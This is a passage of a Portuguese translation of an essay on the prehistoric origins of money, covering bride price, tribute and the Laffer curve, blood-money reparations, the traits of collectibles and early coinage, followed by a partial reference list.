&lt;p>As contribuições que um homem e uma mulher trarão a um casamento são raramente iguais. Isso era ainda mais verdadeiro em uma era quando a escolha do parceiro era largamente determinada por clãs e a população da qual os líderes dos clãs poderiam escolher era bastante pequena. Mais comumente, a mulher era considerada mais valiosa e o clã do noivo pagava um preço pela noiva ao seu clã. Raramente em comparação era o dote, um pagamento feito pelo clã da noiva ao novo casal. Na maior parte, isso era praticado por classes altas de sociedades monogâmicas, mas altamente desiguais, na Europa medieval e na Índia, e foi, em última análise, motivado pelo muito maior potencial reprodutivo dos filhos da classe alta do que pelas filhas da classe alta naquelas sociedades. Como a literatura foi escrita principalmente sobre as classes altas, o dote geralmente desempenha um papel nas histórias tradicionais Europeias. Isso não reflete sua freqüência real entre as culturas humanas – era bastante raro.&lt;/p>
&lt;p>Casamentos entre clãs poderiam formar um ciclo fechado de colecionáveis. De fato, dois clãs trocando parceiros poderia ser suficiente para manter um loop fechado, desde que as noivas tendessem a se alternar. Se um clã era mais rico em colecionáveis de algum outro tipo de transferência, poderia casar mais de seus filhos com melhores noivas (em sociedades monogâmicas) ou um número maior de noivas (em sociedades poligâmicas). Num ciclo envolvendo apenas casamentos, o dinheiro primitivo servia simplesmente para substituir a necessidade de memória e confiança entre clãs durante um longo período de atraso entre transferências desequilibradas de recursos reprodutivos.&lt;/p>
&lt;p>Como a herança, a ação judicial e o tributo, o casamento requer uma tripla coincidência do evento, neste caso o casamento, com oferta e demanda. Sem uma reserva de valor durável e transferível, a habilidade atual de um clã de um noivo para suprir os desejos atuais do clã da noiva, a um grau suficientemente grande para compensar a discrepância de valores entre noiva e noivo, ao mesmo tempo em que satisfazia as restrições políticas e românticas da combinação, era muito improvável que fosse bem satisfeita. Uma solução é impor um serviço ou obrigação contínua do noivo ou seu clã ao da noiva. Isso ocorria em cerca de 15% das culturas conhecidas&lt;!-- raw HTML omitted -->&lt;a href="#fnDW88">[DW88]&lt;/a>
&lt;!-- raw HTML omitted -->. Em um número maior, 67%, o noivo ou o clã do noivo paga ao da noiva uma substancial quantia de riqueza. Um pouco desse preço da noiva é pago em consumíveis imediatos, em plantas a serem coletadas/colhidas e animais a serem abatidos para o banquete do casamento. Nas sociedades de pastoreio ou agrícolas, boa parte do preço da noiva é pago em gado, uma forma duradoura de riqueza. O equilíbrio, e geralmente a parte mais valiosa do preço da noiva em culturas sem rebanho, é pago com o que geralmente são as heranças familiares mais valiosas – os pingentes, anéis mais raros, mais caros e mais duráveis, e assim por diante. A prática ocidental do noivo dando à noiva um anel – e um pretendente dando a uma donzela outros tipos de jóias – já foi uma transferência substancial de riqueza e era comum em muitas outras culturas. Em cerca de 23% das culturas, principalmente as modernas, não há troca substancial de riqueza. Em cerca de 6% das culturas há troca mútua de riqueza substancial entre os clãs dos noivos. Em cerca de apenas 2% das culturas o clã da noiva paga ao novo casal um dote&lt;!-- raw HTML omitted -->&lt;a href="#fnDW88">[DW88]&lt;/a>
&lt;!-- raw HTML omitted -->.&lt;/p>
&lt;p>Infelizmente, algumas transferências de riqueza estavam muito longe do altruísmo do presente de herança ou da alegria do casamento. Muito pelo contrário, no caso do tributo.&lt;/p>
&lt;h2 id="despojos-de-guerra">Despojos de Guerra&lt;/h2>
&lt;p>As taxas de mortalidade por violência em tropas de chimpanzés e culturas humanas caçadoras-coletoras são muito maiores do que nas civilizações modernas. Isto provavelmente data pelo menos desde nosso ancestral comum com os chimpanzés – tropas de chimpanzés também estão constantemente lutando.&lt;/p>
&lt;p>A guerra envolvia, entre outras coisas, matar, mutilar, torturar, sequestrar, estuprar e extorquir tributos em troca de evitar tais destinos. Quando duas tribos vizinhas não estavam em guerra, uma costumava pagar tributos à outra. O tributo também poderia servir para vincular alianças, alcançando economias de escala na guerra. Principalmente, era uma forma de exploração mais lucrativa para o vencedor do que mais violência contra os derrotados.&lt;/p>
&lt;p>A vitória na guerra era algumas vezes seguida por um pagamento imediato dos perdedores aos vencedores. Geralmente isso tomava a forma de pilhagem pelos vencedores entusiastas, enquanto os perdedores escondiam desesperadamente seus colecionáveis. Mais frequentemente, o tributo era demandado com uma certa regularidade. Nesse caso, a tripla coincidência poderia e algumas vezes era evitada por uma sofisticada agenda de pagamentos de forma que combinava a habilidade da tribo perdedora de suprir um bem ou serviço que o vencedor demandava. Entretanto, mesmo com essa solução o dinheiro primitivo poderia oferecer um caminho melhor - um meio de valor comum que simplificava muito o termos do pagamento – muito importante em uma era onde os termos de tratados não podiam ser registrados mas tinham de ser memorizados. Em alguns casos, como com o wampum usado na Confederação Iroquesa, os colecionáveis faziam o papel de um dispositivo mnemônico primitivo que, embora de forma não textual, poderia ser usado como uma ajuda para lembrar os termos do tratado. Para os vencedores, os colecionáveis forneciam uma maneira de coletar tributos mais perto do nível ótimo da curva de Laffer. Para os perdedores, os colecionáveis enterrados em cachês forneciam uma maneira de “declarar menos”, levando os vitoriosos a acreditar que os perdedores eram menos ricos e então demandando menos do que poderiam. Cachês de colecionáveis também forneciam seguro contra cobradores de impostos excessivamente zelosos. Muita da riqueza nas sociedades primitivas escapou do conhecimento dos missionários e antropólogos devido à sua natureza altamente secreta. Somente a arqueologia pode revelar a existência dessa riqueza escondida.&lt;/p>
&lt;p>Esconder, e outras estratégias, apresentaram um problema que os coletores de tributos compartilham com os cobradores de impostos atuais – como estimar a quantidade de riqueza que podem extrair. A medição de valor é um problema espinhoso em muitos tipos de transação, mas nunca mais do que na coleção antagônica de imposto ou tributo. Ao fazer esses trade-offs muito difíceis e não intuitivos e, em seguida, executá-los em uma série de consultas, auditorias e ações de cobrança, os coletores de tributos otimizaram eficientemente suas receitas, mesmo que os resultados parecessem um grande desperdício para o pagador de impostos.&lt;/p>
&lt;p>Imagine uma tribo coletando tributos de várias tribos vizinhas que derrotou anteriormente em guerra. Ela deve estimar o quanto pode extrair de cada tribo. Estimativas ruins deixam a riqueza de algumas tribos subestimadas, enquanto força outras a pagar tributos baseados em estimativas de riqueza que eles não têm de fato. O resultado: as tribos machucadas tendem a encolher. As tribos que se beneficiam pagam menos do que poderia ser extraído. Em ambos casos, menos receita é gerada para os vitoriosos do que eles poderiam conseguir com regras melhores. Essa é uma aplicação da curva de Laffer para as fortunas de tribos específicas. Nessa curva, aplicada a receita de impostos pelo economista brilhante Arthur Laffer, na medida em que a taxa de imposto aumenta, a quantidade de receita aumenta, mas em um ritmo cada vez mais lento do que a taxa de imposto, devido ao aumento de evasão, e acima de tudo desincentivo para se envolver na atividade tributada. A uma determinada taxa, devido a essas razões, as receitas fiscais são otimizadas. Escalar as taxas para além do nível ótimo de Laffer resulta em uma diminuição ao invés de aumento das receitas para o governo. Ironicamente, a curva de Laffer foi usada por defensores de impostos mais baixos, embora seja uma teoria da arrecadação ótima de impostos para a receita do governo, não uma teoria de arrecadação ótima de impostos para o bem-estar social ou satisfação de preferência individual.&lt;/p>
&lt;p>Em larga escala, a curva de Laffer pode ser a lei econômica mais importante da história política. Charles Adams&lt;!-- raw HTML omitted -->&lt;a href="#fnA90">[A90]&lt;/a>
&lt;!-- raw HTML omitted --> a usa para para explicar o surgimento e a queda de impérios. Os governos melhores sucedidos têm sido implicitamente guiados por seus próprios incentivos – tanto seus desejos de receita a curto prazo e seu sucesso a longo prazo contra outros governos – a otimizar suas receitas de acordo com a Curva de Laffer. Os governos que sobrecarregam seus pagadores de impostos, tais como a União Soviética ou o Império Romano tardio, acabaram nos montes de poeira da história, enquanto governos que coletaram menos do que o nível ótimo eram frequentemente conquistados por seus vizinhos melhor financiados. Governos democráticos podem manter altas receitas fiscais ao longo do tempo histórico por meios mais pacíficos do que conquistando estados sub-financiados. Eles são os primeiros estados da história com receitas fiscais tão altas em relação às ameaças externas que eles podem se dar ao luxo de gastar a maior parte do dinheiro em áreas não militares. Seus regimes fiscais tem operado mais perto do nível ótimo de Laffer do que os da maioria dos governos anteriores. (Alternativamente, esse luxo pode ter sido possibilitado pela eficiência das armas nucleares em impedir ataques, e não pelo aumento dos incentivos das democracias para otimizar a arrecadação de impostos). Quando aplicamos a curva de Laffer para examinar o impacto relativo dos termos de tributo do tratado em várias tribos, concluímos que o desejo de otimizar receitas faz com que os vitoriosos queiram medir acuradamente a renda e a riqueza do vencido. Medir valor é crucial para determinar os incentivos dos contribuintes para evitar ou fugir do tributo escondendo riqueza, lutar ou fugir. Por sua vez, os contribuintes podem e fazem falsificações dessas medidas de várias maneiras, por exemplo, ao enterrar colecionáveis em esconderijos. A coleta de tributos envolve um jogo de medidas com incentivos desalinhados.&lt;/p>
&lt;p>Com colecionáveis, pode-se exigir tributo em momentos estrategicamente ótimos, em vez de quando os itens podem ser fornecidos pelo tributário ou estão em demanda pelo vencedor. Os vitoriosos podem então escolher quando no futuro eles irão consumir a riqueza, ao invés de ter de consumí-la no momento em que o tributo é extraído. Muito mais tarde, bem no início da história, em 700 a.c, embora o comércio fosse generalizado, o dinheiro ainda tomava a forma de itens colecionáveis – feitos de metais mais preciosos, mas em suas características básicas, como a falta de valor uniforme, semelhante à maioria dos proto dinheiros usado desde o alvorecer do &lt;em>Homo sapiens sapiens&lt;/em>. Isso foi mudado por uma cultura de língua grega na Anatólia (atual Turquia), os Lídios. Especificamente, os reis da Lídia foram os primeiros grandes emissores de moedas no registro arqueológico histórico.&lt;/p>
&lt;p>Daquele dia até hoje, as casas de moeda do governo com monopólios auto-concedidos, em vez de casas de moeda privadas, foram os principais emissores de moeda. Por que a cunhagem não era dominada por interesses privados, como banqueiros privados, que existiam na época nessas economias semi-mercadológicas? A principal explicação para o domínio do governo sobre a cunhagem de moedas é que somente os governos poderiam impor medidas contra a falsificação. No entanto, eles poderiam ter reforçado tais medidas na proteção de casas de moeda privadas concorrentes, assim como fazem valer marcas hoje e naquela época também.&lt;/p>
&lt;p>Era muito mais fácil estimar o valor de uma moeda do que de um colecionável – especialmente em transações de baixo valor. Muito mais trocas poderiam ser feitas com dinheiro do que através do escambo; de fato muitos tipos de transações de baixo valor se tornaram possíveis pela primeira vez, já que os pequenos ganhos com as trocas excediam os custos de transação pela primeira vez. Os colecionáveis eram dinheiro de baixa velocidade, envolvidos em um número menor de transações altamente valiosas. Moedas era dinheiro de alta velocidade, facilitando um grande número de trocas de baixo valor.&lt;/p>
&lt;p>Dado o que temos visto sobre os benefícios do proto dinheiro para tributos e coletores de taxas, bem como a natureza crítica do problema de mensuração de valor ao coagir de maneira ideal tais pagamentos, não é de surpreender que os cobradores de impostos, especificamente os reis da Lídia, tenham sido os primeiros grandes emissores de moedas. O rei, derivando sua receita da arrecadação de impostos, tinha um forte incentivo para medir o valor da riqueza mantida e trocada por seus súditos com mais precisão. O fato de as trocas também terem se beneficiado de uma mensuração mais barata por parte dos comerciantes do meio de troca, criando algo mais próximo de mercados eficientes e permitindo aos indivíduos entrar no mercado em larga escala pela primeira vez, era para o rei um efeito colateral fortuito. A maior riqueza fluindo através dos mercados, agora disponível para ser tributada, impulsionou as receitas do rei, mesmo para além do efeito normal da curva de Laffer de reduzir a má medição entre as fontes de impostos.&lt;/p>
&lt;p>Essa combinação de uma coleta de impostos mas eficiente com mercados mais eficientes significaram um vasto aumento geral nas receitas fiscais. Esses coletores de taxas quase literalmente acertaram uma mina de ouro, e a riqueza dos reis Lídios, Midas, Croesus, e Giges é famosa até hoje.&lt;/p>
&lt;p>Alguns séculos depois, o rei grego Alexandre o Grande conquistou o Egito, a Pérsia e boa parte da Índia, financiando sua conquista espetacular ao roubar os templos Egípcios e Persas, cheios de coleções de colecionáveis de baixa velocidade, e os derretendo em moedas de alta velocidade. Economias de mercado mais eficientes e abrangentes, bem como uma arrecadação tributária mais eficiente surgiram em seu rastro.&lt;/p>
&lt;p>Os pagamentos de tributo não formaram sozinhos um ciclo fechado de colecionáveis. Estes só eram valiosos se finalmente pudessem ser usados pelos vencedores para outra coisa, como casamento, comércio ou garantia. No entanto, os vencedores poderiam coagir os vencidos a fabricar para obter colecionáveis, mesmo que não servissem aos interesses voluntários do vencido.&lt;/p>
&lt;h2 id="disputas-e-reparações">Disputas e Reparações&lt;/h2>
&lt;p>Os caçadores-coletores ancestrais não tinham as nossas leis criminais modernas, mas tinham meios análogos de resolver disputas, geralmente julgados pelos líderes da tribo ou clã ou por voto, que cobriam o que a lei moderna chama de crimes e danos. Resolução de litígios através de punições ou pagamentos sancionados pelos clãs das partes em disputa, substituíram ciclos de vingança ou guerras de vendetta. A maioria das culturas pré-modernas, variando desde os Iroqueses na América até os povos germânicos pré-cristãos, decidiram que pagamento era melhor que punição. Os preços (por exemplo, o dinheiro germânico &amp;ldquo;wergeld&amp;rdquo; e o dinheiro de sangue iroquês) foram atribuídos a todas as infrações acionáveis, variando de pequenos furtos a estupros e assassinatos. Onde o dinheiro era acessível, o pagamento tomava forma de dinheiro. Gado era usado em culturas de pastoreio. Caso contrário, o pagamento de colecionáveis era a solução mais usada.&lt;/p>
&lt;p>O pagamento de reparações por danos em uma ação judicial ou reclamação semelhante levou ao mesmo tipo de problema de tripla coincidência de evento, oferta e demanda como ocorreu em herança, casamento e tributo. O julgamento do caso devia coincidir com a habilidade do autor de pagar os danos assim como a oportunidade e desejo do defensor de se beneficiar dele. Se a reparação era um consumível que o acusado já tivesse bastante, os reparos ainda serviriam como uma punição mas provavelmente não satisfaria o requerente – e então não freiaria o ciclo de violência. Assim, vemos de novo o valor adicionado pelos colecionáveis – neste caso, tornando possível a reparação para resolver uma disputa ou terminar um ciclo de vingança.&lt;/p>
&lt;p>As soluções de litígios não formariam um ciclo fechado se os pagamentos servissem para eliminar inteiramente as vendetas. No entanto, se os pagamentos não amortecerem completamente a vendetta, os pagamentos poderiam formar um ciclo após o ciclo de vingança. Por essa razão, é possível que a instituição tenha alcançado um equilíbrio quando reduziu, mas não eliminou, ciclos de vingança até o advento de redes comerciais mais densamente conectadas.&lt;/p>
&lt;h2 id="atributos-dos-colecionáveis">Atributos dos Colecionáveis&lt;/h2>
&lt;p>Uma vez que humanos evoluíram em tribos pequenas, altamente auto-sustentáveis, e mutuamente antagônicas , o uso de colecionáveis para reduzir a necessidade de rastreamento de favor, e tornar possível as outras instituições humanas de transferência de riqueza que exploramos, era muito mais importante do que os problemas de escala do escambo na maior parte do período de tempo de nossa espécie. De fato, os colecionáveis providenciaram uma melhora fundamental aos trabalhos de altruísmo recíproco, permitindo humanos a cooperar de maneiras indisponíveis a outras espécies. Para elas, o altruísmo recíproco é severamente limitado pela memória não confiável. Algumas outras espécies têm cérebros grandes, constroem as próprias casas, ou fazem e usam ferramentas. Nenhuma outra espécie produziu tal melhoria aos trabalhos de altruísmo recíproco. A evidência indica que esse novo desenvolvimento maturou por volta de 40.000 A.P.&lt;/p>
&lt;p>Menger chamou esse primeiro dinheiro de “commodity intermediário” – o que esse paper chama de colecionável. Um artefato útil para outras coisas, como cortar, poderia também ser usado como um colecionável. No entanto, uma vez que as instituições envolvendo transferência de riqueza se tornassem valiosas, os colecionáveis seriam fabricados apenas por suas propriedades colecionáveis. Quais são essas propriedades? Para uma commodity em particular ser escolhida como um colecionável valioso. Ela teria, em relação a produtos menos valiosos como colecionáveis, pelo menos as seguintes qualidades desejáveis:&lt;/p>
&lt;ol>
&lt;li>Mais seguro contra perda acidental ou roubo. Na maior parte da história isso significou portabilidade e facilidade de esconder.&lt;/li>
&lt;li>Mais difícil de forjar seu valor. Um subconjunto importante desses produtos é inescapavelmente caro e, portanto, considerado valioso, por motivos explicados abaixo.&lt;/li>
&lt;li>Esse valor era mais acuradamente aproximado por simples observação ou medição. Essas observações teriam uma integridade mais confiável e, no entanto, seriam menos caras.&lt;/li>
&lt;/ol>
&lt;p>Humanos em todo o mundo são fortemente motivados a coletar itens que melhor satisfaçam essas propriedades. Parte dessa motivação provavelmente inclui instintos geneticamente evoluídos. Tais objetos são coletados pelo bel prazer de colecioná-los (não por qualquer razão particularmente explícita e imediata), e tal prazer é quase universal entre culturas humanas. Uma das motivações imediatas é a decoração. De acordo com Dr. Mary C. Stiner, uma arqueóloga na Universidade do Arizona, “A ornamentação é universal entre todos os forrageiros humanos modernos”&lt;!-- raw HTML omitted -->&lt;a href="#fnW02">[W02]&lt;/a>
&lt;!-- raw HTML omitted -->. Para um psicólogo evolucionista, tal comportamento que tem uma boa explicação final, em termos de seleção natural, mas não tem nenhuma razão próxima, além do prazer, é um candidato primordial para ser um prazer geneticamente evoluído que motiva o comportamento. Tal é, se o raciocínio neste ensaio está correto, o instinto humano para coletar itens raros, arte e especialmente jóias.&lt;/p>
&lt;p>O ponto (2) requer mais explicação. A princípio, a produção de uma commodity simplesmente por ser custosa parece bastante desperdício. No entanto, a commodity custosa e não forjável repetidamente adiciona valor ao tornar possível transferências benéficas de riqueza. Mais do custo é recuperado toda vez que uma transação é tornada possível ou menos cara. O custo, inicialmente um desperdício completo, é amortizado em muitas transações. O valor monetário de metais preciosos é baseado nesse princípio. Também se aplica aos colecionáveis, que são mais valorizados quanto mais raros e menos forjável essa raridade for. Aplica-se também onde o trabalho humano comprovadamente qualificado ou único é adicionado ao produto, como na arte.&lt;/p>
&lt;p>Nós nunca descobrimos ou fizemos um produto que vá bem em todos os 3 pontos. Arte e colecionáveis (no sentido em que essa palavra é usada na cultura moderna, ao invés do sentido técnico usado nesse paper) otimizam (2), mas não (1) e (3). Contas comuns satisfazem (1) mas não (2) e (3). Jóias, feitas a princípio das conchas mais belas e menos comuns mas eventualmente em muitas culturas de metais preciosos, chega perto de satisfazer essas três propriedades. Não é coincidência que jóias de metais preciosos usualmente venham em forma de correntes ou anéis, permitindo análise barata em locais escolhidos aleatoriamente. As moedas foram uma melhoria adicional – substituir pequenos pesos padrão e marcas registradas por análises1 reduziu enormemente os custos de pequenas transações usando metais preciosos. O dinheiro propriamente dito foi apenas mais um passo na evolução dos colecionáveis.&lt;/p>
&lt;p>O tipo de arte móvel feita pelo homem paleolítico (pequenas figuras e similares) também combina bem essas características. De fato, o homem paleolítico fez muito poucos objetos que não eram nem utilitários, nem compartilhavam as características (1) e (3).&lt;/p>
&lt;p>There are many puzzling instances of useless or at least unused flints with &lt;em>homo sapiens&lt;/em>. We have mentioned the unusable flints of the Clovis people. Culiffe&lt;!-- raw HTML omitted -->&lt;a href="#fnC94">[C94]&lt;/a>
&lt;!-- raw HTML omitted --> discusses a European Mesolithic era find of hundreds of flints, carefully crafted, but which micrograph analysis reveals were never used for cutting. Há muitos exemplos intrigantes de pederneiras inúteis ou pelo menos não usadas pelos &lt;em>homo sapiens&lt;/em>. Nós mencionamos as lascas inutilizáveis do povo Clovis. Culiffe&lt;!-- raw HTML omitted -->&lt;a href="#fnC94">[C94]&lt;/a>
&lt;!-- raw HTML omitted --> discute um achado na era mesolítica européia de centenas de pedras, cuidadosamente elaboradas, mas que a análise de micrografias revela que nunca foram usadas para cortar.&lt;/p>
&lt;p>Pederneiras foram muito provavelmente os primeiros colecionáveis, precedendo colecionáveis de propósito especial como jóias. De fato, os primeiros colecionáveis de pederneira teriam sido feitos por sua utilidade de corte. Seu valor agregado como meio de transferência de riqueza foi um efeito colateral fortuito que permitiu que as instituições descritas neste artigo florescessem. Essas instituições, por sua vez, teriam motivado a fabricação de colecionáveis de propósito especial, a princípio pederneiras que não precisam ter uso real como ferramentas de corte, e então a grande variedade de outros tipos de colecionáveis que foram desenvolvidos pelo &lt;em>Homo sapiens sapiens&lt;/em>.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="SumerianShellMoney" src="https://cypherpunks.com.br/stuff/SumerianShellMoney.jpg" loading="lazy"
width="180" height="129"
/>
&lt;em>Dinheiro de conchas de Sumer, c. 3.000 B.C&lt;/em>&lt;/p>
&lt;p>Durante a era Neolítica, em muitas partes do Oriente Médio e Europa, alguns tipo de jóias se tornaram mais padronizadas – ao ponto que tamanhos padrão e a facilidade de avaliação eram, geralmente, mais valorizados do que a beleza. Em áreas comerciais, a quantidade dessas jóias às vezes excedia em muito a das jóias tradicionais. Este é um passo intermediário entre jóias e moedas, quando alguns colecionáveis assumiram uma forma fungível. Por volta de 700 a.c., os reis lídios começaram a emitir moedas, conforme descrito acima. O custo imponderável de pesos padrão de metais preciosos poderia agora ser &amp;ldquo;analisado&amp;rdquo; em um mercado, por assalariados ou por cobradores de impostos via marca registrada, por exemplo, confiança na marca da casa da moeda, em vez de “cortar o fio enrolado” em um local selecionado aleatoriamente.&lt;/p>
&lt;p>Não é coincidência que os atributos dos colecionáveis são compartilhados com metais preciosos, moedas, e commodities de reserva que sustentaram a maioria da moedas não-fiduciárias. O dinheiro propriamente dito implementou essas propriedades de forma mais pura do que os colecionáveis usados durante quase toda a pré-história humana.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="coilcash" src="https://cypherpunks.com.br/stuff/coilcash.jpg" loading="lazy"
width="200" height="260"
/>
&lt;em>Anel de prata e dinheiro da bobina de Sumer, c. 2.500 a.C. Observe o tamanho padrão das seções cruzadas. Muitas das peças tinham um peso padrão, variando de um décimo de um shekel a sessenta shekels. Para testar um anel ou bobina, ele poderia ser pesado e cortado em locais aleatórios. (Cortesia Oriental Institute, Universidade de Chicago)&lt;/em>&lt;/p>
&lt;p>Uma novidade do século XX foi a questão das moedas fiduciárias pelos governos. (&amp;ldquo;Fiat&amp;rdquo; significa não apoiado por qualquer mercadoria de reserva, como eram as moedas baseadas em ouro e prata dos séculos anteriores). Embora geralmente excelente como meios de troca, as moedas fiduciárias provaram ser muitos pobres reservas de valor. A inflação tem destruído muitas poupanças. Não é coincidência que os mercados de objetos raros e trabalhos artísticos únicos – usualmente compartilhando os atributos dos colecionáveis descritos acima – aproveitaram uma renascença durante o último século. Um dos nossos marketplaces mais avançados tecnologicamente, o EBay, é centrado em volta desses objetos de qualidades econômicas primordiais. O mercado de colecionáveis está maior do que nunca, mesmo se a fração de nossa riqueza investida neles for menor do que quando eles foram cruciais para o sucesso evolucionário. Os colecionáveis satisfazem nossos impulsos instintivos e permanecem úteis em seu papel ancestral como uma reserva segura de valor.&lt;/p>
&lt;h2 id="conclusão">Conclusão&lt;/h2>
&lt;p>Muitos tipos de transferências de riqueza – unidirecional ou mútua, voluntária ou coagida – encaram custos de transação. Em trocas voluntárias ambas as partes ganham; um presente verdadeiramente gratuito é usualmente um ato de altruísmo de parentesco. Essas transações criam valor para uma ou ambas as partes tão quanto o ato físico de fazer algo. Os tributos beneficiam o vitorioso e um julgamento de danos pode prevenir mais violência assim como beneficiar a vítima. Heranças fizeram dos humanos os primeiros animais a passar riqueza para suas próximas gerações de parentes. Essas heranças poderiam ser usadas como garantia ou pagamento em trocas por bens, alimentos para evitar a fome, ou o pagamento do preço de uma noiva. Se os custos de fazer essas transferências – custos de transação – forem baixos o suficiente para fazer as transferências valerem a pena é outra questão. Os colecionáveis foram cruciais ao possibilitar esses tipos de transações pela primeira vez.&lt;/p>
&lt;p>Os colecionáveis aumentaram nossos grandes cérebros e a linguagem como soluções ao Dilema do Prisioneiro que impedem quase todos os animais de cooperar via reciprocidade atrasada com não familiares. Crenças de reputação podem sofrer de dois tipos principais de erros – erros sobre qual pessoa fez o que, e erros em avaliar o valor ou danos causados por aquele ato. Dentro dos clãs (o grupo de parentesco pequeno e imediatamente local, ou família extensa, que formava um subconjunto de uma tribo), nosso cérebro poderia minimizar esses erros, de modo que a reputação pública e as sanções coercitivas superaram a motivação limitada proporcionada pela capacidade da contraparte de cooperar ou desertar no futuro como o principal responsável pela reciprocidade tardia. Em ambos, &lt;em>Homo sapiens neanderthalis&lt;/em> e &lt;em>Homo sapiens sapiens&lt;/em>, com o mesmo cérebro grande, é bem provável que cada membro de clã local mantinha registro de todos os favores dos outros membros do clã. O uso de colecionáveis para trocas dentro do pequeno grupo familiar pode ter sido mínimo. Entre clãs dentro de uma tribo, ambos, colecionáveis e registro, eram usados. Entre tribos, os colecionáveis substituíram completamente a reputação como o responsável pela reciprocidade, embora a violência ainda desempenhasse um papel importante na imposição de direitos assim como era um alto custo de transação que prevenia a maioria dos tipos de comércio.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="VenetianTradeBeads16th17thCenturyMaliAfrica" src="https://cypherpunks.com.br/stuff/VenetianTradeBeads16th17thCenturyMaliAfrica.jpg" loading="lazy"
width="504" height="238"
/>
&lt;em>&lt;strong>Quando o alto custo se torna forjável&lt;/strong> – Contas de vidro, manufaturadas em Veneza no século XVI ou XVII, escavados em Mali, África. Tais contas eram muito populares onde quer que os colonialistas europeus encontrassem culturas neolíticas ou de caçadores-coletores.&lt;/em>&lt;/p>
&lt;p>Para ser útil como uma reserva de valor de uso geral e meio de transferência de riqueza, um colecionável tinha de ser incorporado em pelo menos uma instituição com um ciclo de loop fechado, para que o custo de descobrir e/ou manufaturar o objeto fosse amortizado em várias transações. Além disso, um colecionável não era apenas qualquer tipo de objeto decorativo bonito. Tinha de ter certas propriedades funcionais, tais como a segurança de ser vestível na pessoa, compacto para ser escondido ou enterrado, e custo não forjável. O alto custo deveria ser verificável pelo recebedor da transferência – usando muitas das mesmas habilidade que colecionadores usam para avaliar colecionáveis hoje.&lt;/p>
&lt;p>As teorias apresentadas neste artigo podem ser testadas ao procurar por essas características (ou a falta delas) nos “ítens de valor” frequentemente trocados nessas culturas, ao examinar os ganhos econômicos dos ciclos através dos quais esses itens de valor se moveram, e ao observar as preferências por objetos com essas características em uma ampla variedade de culturas (incluindo as modernas).&lt;/p>
&lt;p>Com sua tecnologia de cooperação sem precedentes, os humanos se tornaram o predador mais temido já visto esse planeta. Eles se adaptaram à mudanças climáticas, enquanto dúzias de suas grandes presas foram à extinção, pela caça ou mudanças climáticas na América, Europa, e Ásia. Hoje, a maioria dos animais de grande porte no planeta temem projéteis – uma adaptação a uma única espécie de predador[R97]. Culturas mais baseadas em coleta do que em caça também se beneficiaram grandemente. Uma explosão populacional se seguiu – O &lt;em>Homo sapiens sapiens&lt;/em> conseguiu popular mais partes do planeta e a uma densidade mais de vezes maior do que o &lt;em>Homo sapiens neanderthalis&lt;/em>[C94], ainda que com ossos mais fracos e cérebro do mesmo tamanho. Muito desse aumento pode ser atribuído às instituições sociais tornadas possíveis pelo uso efetivo de transferência de riqueza e linguagem – comércio, casamento, herança, tributos, garantias, e a habilidade de estimar danos para diminuir ciclos de vingança.&lt;/p>
&lt;p>O dinheiro primitivo não era o dinheiro moderno como conhecemos. Ele assumiu algumas das funções que o dinheiro moderno desempenha agora, mas sua forma era de herança, jóias e outros itens colecionáveis. O uso disso é tão ancestral que o desejo de explorar, coletar, fazer, mostrar, avaliar, guardar com cuidado, e trocar colecionáveis são universais humanos – até certo ponto instintivos. Essa constelação de desejos humanos pode ser chamado de instinto de coletor. Procurar por matérias-primas, como conchas e dentes, e manufaturar colecionáveis ocuparam uma parte considerável do tempo dos humanos ancestrais, assim como humanos modernos gastam recursos substanciais nessas atividades como hobbies. O resultado para os nossos antepassados ancestrais foram as primeiras formas seguras de valor corporificado muito diferentes da utilidade concreta – e o precursor do dinheiro de hoje.&lt;/p>
&lt;h2 id="referências">Referências&lt;/h2>
&lt;ol>
&lt;li>
&lt;p>[A90] Adams, Charles, &lt;em>For Good and Evil: The Impact of Taxes on Civilization&lt;/em> &lt;a href="#refA90">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[A98] Tim Appenzeller, &amp;ldquo;Art: Evolution or Revolution?&amp;rdquo;, Science 282(Nov 20, 1998), p. 1452. See also the home page of &lt;a href="http://www.anthro.uiuc.edu/faculty/ambrose/" target="_blank" rel="noopener noreferrer">Stanley Ambrose&lt;/a>
 &lt;a href="#refA98-1">↩&lt;/a>
 &lt;a href="#refA98-2">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[B04] &lt;a href="http://www.electrickiva.com/chs_spring_2004/Unit_Anthropology/blomboscave/project_site/!%20artifacts_beads.htm" target="_blank" rel="noopener noreferrer">The Blombos Cave Project&lt;/a>
 &lt;a href="#refB04-1">↩&lt;/a>
 &lt;a href="#refB04-2">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[C94] Culiffe, Barry, ed., &lt;em>The Oxford Illustrated History of Prehistoric Europe&lt;/em>, Oxford University Press 1994. &lt;a href="#refC94-1">↩&lt;/a>
 &lt;a href="#refC94-2">↩&lt;/a>
 &lt;a href="#refC94-3">↩&lt;/a>
 &lt;a href="#refC94-4">↩&lt;/a>
 &lt;a href="#refC94-5">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[D89] Dawkins, Richard, &lt;em>The Selfish Gene&lt;/em>, Oxford University Press 1989. &lt;a href="#refD89-1">↩&lt;/a>
 &lt;a href="#refD89-2">↩&lt;/a>
 &lt;a href="#refD89-3">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[D94] Davies, Glyn, &lt;em>A History of Money, From Ancient Times to the Present Day&lt;/em>, University of Wales Press 1994. &lt;a href="#refD94-1">↩&lt;/a>
 &lt;a href="#refD94-2">↩&lt;/a>
 &lt;a href="#refD94-3">↩&lt;/a>
 &lt;a href="#refD94-4">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[DW88] Daly, Martin and Wilson, Margo, &lt;em>Homicide&lt;/em>, New York: Aldine (1998). &lt;a href="#refDW88-1">↩&lt;/a>
 &lt;a href="#refDW88-2">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[G95] Gilead, I. 1995. &amp;ldquo;The Foragers of the Upper Paleolithic Period,&amp;rdquo; in Archaeology and Society in the Holy Land. Ed. by T. E. Levy. New York, Facts on File. &lt;a href="#refG95">↩&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>[G01] [ref: http://www-geology.ucdavis.edu/~GEL115/115CH1.html] &lt;a href="#refG01">↩&lt;/a>
&lt;/p>
&lt;/li>
